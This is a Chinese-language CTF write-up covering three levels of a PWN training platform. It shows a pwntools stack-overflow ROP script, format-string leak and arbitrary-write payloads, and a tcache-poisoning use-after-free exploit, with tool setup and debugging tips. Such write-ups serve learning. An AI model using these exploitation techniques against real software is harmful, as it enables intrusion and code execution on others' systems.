PWN技术实战:栈溢出、格式化字符串与堆利用详解

发布时间:2026/8/15 18:59:29
PWN技术实战:栈溢出、格式化字符串与堆利用详解 1. PWN技术实战笔记解析从入门到精通的21-23关突破最近在HUST PWN训练平台上刷题时发现第21到23关的漏洞利用方式特别有教学意义。这三关涵盖了栈溢出、格式化字符串和堆利用的经典组合正好构成一个完整的基础知识闭环。作为二进制安全方向的必备技能PWN技术的实战能力往往就体现在这些细节处理上。2. 环境准备与工具链配置2.1 实验环境搭建推荐使用Ubuntu 20.04 LTS作为基础系统配合以下工具链gdb-peda增强版调试器含peda插件pwntools 4.8Python3版本ROPgadget工具集checksec脚本安装命令示例sudo apt install python3-pip pip3 install pwntools --upgrade git clone https://github.com/longld/peda.git ~/peda echo source ~/peda/peda.py ~/.gdbinit2.2 目标程序分析使用checksec检查保护机制checksec --file./pwn21-23典型输出会显示NX堆栈不可执行Canary栈保护PIE地址随机化RELRO重定位保护3. 第21关基础栈溢出实战3.1 漏洞原理分析通过逆向工程发现存在gets函数调用导致经典栈溢出void vulnerable_function() { char buf[64]; gets(buf); // 危险函数 }利用模式确定偏移量cyclic 100生成测试字符串覆盖返回地址构造ROP链3.2 利用脚本编写from pwn import * context(oslinux, archamd64) p process(./pwn21) offset 72 ret_addr 0x401016 # 通过objdump找到的gadget地址 payload bA*offset payload p64(ret_addr) payload p64(0x401142) # 目标函数地址 p.sendline(payload) p.interactive()4. 第22关格式化字符串漏洞利用4.1 漏洞点定位发现存在printf直接打印用户输入printf(user_input); // 危险用法4.2 内存泄露技巧通过%p等格式化符泄露栈数据payload b%7$p # 泄露第7个参数 p.sendline(payload) leak int(p.recvline(), 16) log.info(Libc base: hex(leak - 0x271e3))4.3 任意地址写入使用%n格式化符修改内存payload fmtstr_payload(6, {0x404028: 0xdeadbeef}) p.sendline(payload)5. 第23关堆利用基础5.1 漏洞类型判断通过逆向发现存在UAFUse After Free漏洞free(ptr); ... puts(ptr-name); // UAF5.2 tcache poisoning实战利用步骤申请两个chunkA和B释放A和B进入tcache修改B的fd指针指向目标地址重新申请获得目标地址控制权alloc(0x20, bA*8) # chunk A alloc(0x20, bB*8) # chunk B free(0) free(1) edit(0, p64(0x404040)) # 修改fd指针 alloc(0x20, bC*8) # 拿到chunk B alloc(0x20, p64(0xdeadbeef)) # 控制目标地址6. 综合技巧与问题排查6.1 常见错误处理段错误Segmentation Fault检查地址对齐x64需16字节对齐输入截断注意sendline会附加\n必要时用send代替地址随机化通过泄露先计算基址再偏移6.2 调试技巧使用gdb附加进程gdb -p $(pidof pwn21-23)关键命令vmmap查看内存布局telescope $rsp 20查看栈数据heap chunks分析堆状态6.3 防护绕过策略NX保护使用ROP技术ASLR通过内存泄露计算基址Canary格式化字符串泄露或覆盖7. 学习资源推荐《漏洞战争》- 徐昊LiveOverflow YouTube频道CTF Wiki (ctf-wiki.org)ROP Emporium实战平台在实际刷题过程中建议每完成一关就整理对应的漏洞模式和利用代码形成自己的PWN笔记库。我习惯用Jupyter Notebook记录每个漏洞点的分析过程和最终exp方便后续快速回顾。遇到复杂问题时先画出内存布局图往往能更快定位问题所在。

相关新闻